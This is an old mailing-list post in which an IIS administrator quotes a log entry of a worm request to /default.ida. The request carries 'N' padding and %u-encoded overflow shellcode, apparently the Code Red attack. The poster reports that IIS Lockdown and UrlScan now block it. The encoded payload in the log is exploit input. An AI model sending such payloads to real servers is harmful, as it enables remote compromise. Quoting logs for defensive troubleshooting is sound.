Re: <Rejected-By-Url Scan>

From: Ifeanyi Asonye (ifeanyi@globrock.com)
Date: 01/18/03 

From:     Ifeanyi Asonye <ifeanyi@globrock.com>
Date: Sat, 18 Jan 2003 12:15:15 -0800

I have a similar one too.

/default.ida
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucb
d3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00
=a 200 0 206 4039 450 HTTP/1.0 www.worm.com - - -

I installed the IIS Lockdown utility immediately and then the attempt is
subsuqeuntly blocked and I see the <Rejected-By-UrlScan> in the log
file.

I am still wondering what this user has done on my system.

*** Sent via Developersdex http://www.developersdex.com ***
Don't just participate in USENET...get rewarded for it!

Loading